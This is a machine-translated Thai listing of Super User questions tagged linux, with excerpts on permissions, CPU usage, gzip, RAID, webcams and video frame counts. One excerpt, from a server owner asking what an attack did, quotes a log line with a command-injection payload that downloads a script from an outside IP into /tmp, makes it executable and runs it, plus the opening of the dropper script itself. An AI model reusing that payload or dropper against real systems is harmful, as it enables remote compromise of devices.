คำถามติดแท็ก linux

ตระกูลของระบบปฏิบัติการแบบ Unix ที่ใช้เคอร์เนล Linux หากคำถามของคุณเกี่ยวกับการแจกแจงบางอย่างเท่านั้นให้ใช้แท็กที่เฉพาะเจาะจงมากขึ้น

4
สิทธิ์“ เรียกใช้” ทำอะไรได้บ้าง
คำถามนี้ถูกโยกย้ายจาก Stack Overflow เพราะสามารถตอบได้ใน Super User อพยพ 9 ปีที่ผ่านมา ฉันตกใจที่ฉันยังไม่เข้าใจสิทธิ์ "เรียกใช้" ใน Linux มีสามสิทธิ์คือ - อ่านเขียนและดำเนินการ ฉันเข้าใจว่าการอ่านและการเขียนอย่างแท้จริง แต่สิ่งที่จะดำเนินการทำตรง? สมมติว่าฉันมีexample.phpสิทธิ์ดำเนินการ สิ่งที่ฉันสามารถทำอะไรกับexample.php?

6
มีกี่คอร์ที่ฉันใช้บนเซิร์ฟเวอร์ Linux
ฉันแค่สงสัยว่าฉันจะรู้ได้อย่างไรว่าทุบตีจำนวนคอร์ CPU ที่ผู้ใช้ใช้บน Linux Server ตอนนี้? ฉันกำลังส่งงานแบ็คกราวน์จำนวนพอสมควรไปยังเซิร์ฟเวอร์ดังนั้นฉันต้องการเขียนสคริปต์ทุบตีเพื่อตรวจสอบก่อนที่ฉันจะส่งงานถ้างานที่กำลังดำเนินการ (กระบวนการ) ส่งโดยฉันมากเกินไปเพราะฉันต้องให้ ผู้ใช้มีแกนเพียงพอที่จะใช้สำหรับงานของพวกเขา ฉันต้องการทราบว่าคำสั่ง bash สามารถบอกได้ว่ามีกี่คอร์ที่งานของฉันใช้อยู่ตอนนี้ ขอบคุณและขอแสดงความนับถือ!
30 linux  bash  cpu  core 

2
สคริปต์ทุบตีนี้ทำอะไร? [พยายามแฮ็ก]
ฉันสังเกตเห็นเซิร์ฟเวอร์ของ apache บันทึกเมื่อไม่นานมานี้มีสายแปลก ๆ ดังต่อไปนี้: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" ดังนั้นฉันจึงสร้างตัวกรอง Fail2Ban ที่กำหนดเองและเริ่มแบนไอพีที่ร้องขอ URL /login.cgi เหล่านี้ แต่ฉันอยากรู้ว่าพวกเขาพยายามทำอะไรดังนั้นฉันจึงดึงสคริปต์ที่พวกเขาพยายามจะดำเนินการและฉันไม่สามารถเข้าใจได้ว่ามันทำอะไร มีบางอย่างเกี่ยวกับการลบโฟลเดอร์ arch ใน / var และ / tmp ใช่ไหม อย่างไรก็ตามนี่คือ: #!/bin/sh u="asgknskjdgn" bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32" http_server="80.211.173.159" http_port=80 cd /tmp/||cd /var/ for name …

4
ฉันจะค้นหา (และฆ่า) กระบวนการทำงานบนพอร์ตที่แน่นอนได้อย่างไร [ซ้ำ]
ซ้ำเป็นไปได้: การ ค้นหากระบวนการที่ใช้พอร์ตที่แน่นอนใน Linux ฉันใช้ Ubuntu Linux 11.04 ฉันจะเขียนเชลล์สคริปต์นิพจน์ที่จะค้นหากระบวนการที่ทำงานบนพอร์ต 4444 แล้วฆ่ากระบวนการได้อย่างไร
30 linux  shell  ubuntu 

7
ทำไมการบีบอัด Gzip จึงไม่ลบข้อมูลที่ซ้ำกัน
ฉันเพิ่งทดลองเล็ก ๆ น้อย ๆ ที่ฉันสร้างไฟล์เก็บถาวร tar พร้อมไฟล์ที่ซ้ำกันเพื่อดูว่ามันจะถูกบีบอัดไปยังความกลัวของฉันหรือไม่! รายละเอียดติดตาม (ผลการเยื้องเพื่อความสุขในการอ่าน): $ dd if=/dev/urandom bs=1M count=1 of=a 1+0 records in 1+0 records out 1048576 bytes (1.0 MB) copied, 0.114354 s, 9.2 MB/s $ cp a b $ ln a c $ ll total 3072 -rw-r--r-- 2 guido guido 1048576 Sep 24 15:51 …

6
จอภาพสาม (3) ภายใต้ Linux
ฉันมีการตั้งค่าจอภาพ 3 จอ (แต่ละ 1680x1050) ผ่านทาง Nvidia NVS440 (2 GPUs, 2 เอาท์พุทต่อ GPU รวม 4 เอาท์พุท); ทำงานได้ดีภายใต้ Windows XP, 7 แต่เกิดอาการปวดหัวอย่างมากใน Linux (Ubuntu 9.04) ก่อนหน้านี้ฉันเคยใช้ XFX 9600GT และ onboard XFX 9300GS เพื่อสร้างผลลัพธ์เดียวกัน แต่การ์ดมีเสียงดังและกำลังหิวโหยและฉันหวังว่าจะมีสวิทช์เวทย์มนตร์บางอย่างใน NVS4400 ที่กำจัดปัญหาที่น่ารำคาญนี้ - ปรากฎ NVS440 เป็นเพียงไพ่ 2 ใบบน PCB ทางกายภาพหนึ่งตัว: (ฉันค้นหาสุทธิสูงและต่ำสำหรับผู้ที่ใช้การ์ดนี้ภายใต้ Linux แต่ไม่พบอะไรเลยหากการ์ดใดใช้พลังงานน้อยกว่าและเป็นพัดลมน้อยกว่าดังนั้นฉันจึงได้รับประโยชน์จากวิธีนี้ ) อย่างไรก็ตามการใช้การตั้งค่าอย่างใดอย่างหนึ่งมี 5 โซลูชั่นที่มีอยู่: …

4
ฉันสามารถไฮเบอร์เนตโดยไม่ใช้พาร์ทิชัน swap ได้หรือไม่
ฉันไม่ได้ตั้งค่า swap partition บนพีซีเพราะ a) ฉันมี RAM มากมาย (8 GB) และ b) ฉันมี harddrives ขนาดใหญ่ที่ฉันไม่ต้องการสับเป็นชิ้นเล็ก ๆ ดังนั้นพาร์ติชันที่เล็กที่สุดของฉันคือ 50 GiB และฉันใช้มันสำหรับระบบปฏิบัติการอยู่แล้ว ตอนนี้ถึงไฮเบอร์เนตลินุกซ์ของฉัน (Ubuntu Jaunty) ต้องสลับ ฉันมีพาร์ติชั่นว่าง 100 GB ดังนั้นฉันจึงตั้งค่าเป็น swap แต่ฉันไม่พอใจ มันเคยถูกใช้สำหรับการจำศีลเท่านั้น (มี RAM จำนวนมากฟรีและระบบจะไม่ทำการสลับ) และมันก็มีขนาดใหญ่กว่าเล็กน้อยสำหรับการสลับ ในที่สุดฉันก็ต้องการมันเพื่อสิ่งอื่น ฉันจะจำศีล (พักการใช้งานดิสก์) โดยไม่มีพาร์ติชั่น swap ใน Ubuntu Jaunty ได้อย่างไร?
30 linux  hibernate  swap 

3
อะไรคือความแตกต่างระหว่าง &> และ> และในการทุบตี?
อะไรคือความแตกต่างระหว่าง&>และ>&ทุบตี? tldpไม่ได้พูดถึงหนึ่งหลัง มันเป็นตัวดำเนินการเปลี่ยนเส้นทางหรือไม่ หรือใครบางคนรู้กวดวิชาที่สมบูรณ์มากขึ้น?

3
แยก / บันทึกไฟล์แนบเมลโดยใช้ bash
การใช้bashเครื่องมือปกติ(เช่นเครื่องมือบรรทัดคำสั่งในตัวหรือทั่วไปที่มีอยู่) ก็คือ เป็นไปได้และ อย่างไร แยก / บันทึกไฟล์แนบในอีเมลได้อย่างไร ตัวอย่างเช่นสมมติว่าฉันมีรายงานทุกคืนที่มาถึงทางอีเมล แต่เป็นไฟล์เก็บถาวรของไฟล์บันทึกหลายไฟล์ ฉันต้องการบันทึกรหัสไปรษณีย์เหล่านั้นทั้งหมดลงในไดเรกทอรีสำรอง ฉันจะทำให้สำเร็จได้อย่างไร

3
เปิดใช้งานชุดรูปแบบการผูกคีย์ Emacs สำหรับแอปพลิเคชัน QT ทั้งหมด
สำหรับแอพ GTK ภายใต้สภาพแวดล้อม Gnome เป็นไปได้ที่จะตั้งค่าแอปพลิเคชันทั้งหมดให้ใช้รูปแบบการป้อนข้อมูลแบบ Emacs: $ gconftool --set -t string /desktop/gnome/interface/gtk_key_theme Emacs $ gconftool --get /desktop/gnome/interface/gtk_key_theme Emacs ฉันสงสัยว่าเป็นไปได้หรือไม่ที่จะปรับอินพุตสำหรับแอป QT ทั้งหมดในลักษณะเดียวกัน

9
วิธีทำให้อุปกรณ์ RAID ที่ไม่ได้ใช้งานทำงานได้อีกครั้ง?
หลังจากบูทอุปกรณ์ RAID1 ของฉัน ( /dev/md_d0*) บางครั้งก็อยู่ในสถานะสนุกสนานและฉันไม่สามารถเมานต์ได้ * เดิมผมสร้างขึ้นแต่ก็มีการเปลี่ยนแปลงอย่างใดตัวเองลงไป/dev/md0/dev/md_d0 # mount /opt mount: wrong fs type, bad option, bad superblock on /dev/md_d0, missing codepage or helper program, or other error (could this be the IDE device where you in fact use ide-scsi so that sr0 or sda or so is needed?) …

4
ใช้เว็บแคม USB หลายตัวใน Linux
การใช้งานเว็บแคม USB มากกว่าหนึ่งตัวใน Debian / Linux จะทำให้เกิดข้อผิดพลาดดังต่อไปนี้: libv4l2: error turning on stream: No space left on device VIDIOC_STREAMON: No space left on device สิ่งแรกที่ดูเหมือนจะเป็นปัญหาการเขียนโปรแกรมใน OpenCV กลายเป็นการแสวงหาปัญหาฮาร์ดแวร์ / ซอฟต์แวร์ลึกลับหลังจากข้อผิดพลาดเดียวกันถูกผลิตโดยใช้ชีสและ xawtv เห็นได้ชัดว่ามันเกิดจากเว็บแคมที่ร้องขอแบนด์วิดท์ที่มีอยู่ทั้งหมดบนตัวควบคุมโฮสต์ USB เมื่อคำนึงถึงสิ่งนี้ฉันจึงตัดสินใจใช้wiresharkและcapinfosเพื่อดูว่าแบนด์วิธที่กล้องตัวเดียวใช้ 4 megabits per second at 320x240 14 megabits per second at 640x480 32 megabits per second at 1280x720 …

5
Linux สามารถเมานต์ไดเร็กทอรีอิมเมจดิสก์แบบกระจายแบบกระจัดกระจาย Time Machine ได้หรือไม่?
ฉันกำลังมองหาเพื่อดูว่า Linux สามารถเชื่อมต่อและอ่านไฟล์ที่เก็บไว้ใน Time Capsule ผ่านเครือข่ายที่ใช้ร่วมกันได้หรือไม่ เช่นเดียวกับคำถามนี้ฉันกำลังมองหาบางสิ่งที่จำลองอย่างน้อยฟังก์ชั่นการอ่านอย่างเดียวของhdiutilเพื่อแนบแล้วเมานดิสก์อิมเมจมัดแบบกระจัดกระจาย การเมานต์ SMB นั้นง่ายเนื่องจาก Time Capsule ใช้ร่วมกันทั้งAFPและSMBแต่ฉันไม่แน่ใจว่าสามารถติดตั้งบันเดิลดิสก์แบบกระจัดกระจายเป็นไดเร็กทอรี HFS + ที่สร้างขึ้นใหม่ได้ คะแนนโบนัสสำหรับคำสั่งเมานต์หรือตัวชี้การทำงานไปยังแพ็คเกจที่เหมาะสมที่แยกวิเคราะห์รูปแบบ DMG นี้ ในกรณีที่มันไม่ชัดเจน - นี่คือวิธีที่ไฟล์ band มองมาที่ฉันเมื่อติดตั้งจาก Mac ใน Terminal และสิ่งที่ฉันคาดหวังให้ลินุกซ์เห็นโดยไม่สามารถเมานต์ระบบไฟล์จริงที่เข้ารหัสในไฟล์ไบนารีแบนด์จำนวนมาก host:iMac.sparsebundle mike$ ls -la total 24 drwxrwxrwx@ 7 mike staff 264 Jul 5 10:01 . drwx------ 6 mike staff 264 Mar 26 …

6
เหตุใดจึงรันคำสั่ง Linux shell ด้วย '&'
ฉันใช้ Red Hat Linux Enterprise เวอร์ชัน 5 ฉันสังเกตว่าบางครั้งผู้คนกำลังใช้คำสั่งพร้อม&ตัวเลือกสองสามตัว ตัวอย่างเช่นในคำสั่งด้านล่างมีสอง&สัญญาณ พวกเขามีจุดประสงค์อะไร? พวกเขามักจะใช้ร่วมกับ nohup หรือไม่? nohup foo.sh <script parameters> >& <log_file_name> &
30 linux  shell 

11
ฉันจะรับจำนวนเฟรมในวิดีโอบนบรรทัดคำสั่ง linux ได้อย่างไร
ฉันมีไฟล์วิดีโอและต้องการรับจำนวนเฟรมวิดีโอที่อยู่ในนั้น ฉันสามารถใช้ffmpegเพื่อรับความยาวของวิดีโอและ FPS อย่างไรก็ตามฉันไม่เห็นสิ่งใดชัดเจนสำหรับจำนวนเฟรมทั้งหมด ในทางทฤษฎีเราน่าจะสามารถคูณความยาว (เป็นวินาที) โดย FPS เพื่อให้ได้จำนวนเฟรม แต่ในกรณีนี้ความยาว (34.43 วินาที) และ framerate (29.97 fps) ให้ไม่ใช่จำนวนเต็มซึ่งทำให้ฉัน คิดว่าฉันทำอะไรผิด ฉันต้องสามารถทำสิ่งนี้บนบรรทัดคำสั่งในลักษณะอัตโนมัติและไม่ใช่กราฟิกทั้งหมด ฉันต้องการสิ่งนี้เพื่อให้แน่นอนและไม่ใช่การประเมิน (ถ้าเป็นไปได้กับไฟล์วิดีโอ) ฉันลองใช้tcprobeกับบางไฟล์ สำหรับไฟล์ AVI บางไฟล์มันใช้งานได้ แต่สำหรับไฟล์ VOB บางไฟล์เอาต์พุต tcprobe ไม่มีจำนวนเฟรม ฉันได้ผลลัพธ์นี้: [tcprobe] MPEG program stream (PS) [tcprobe] summary for myfile.vob, (*) = not default, 0 = not detected import frame …

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.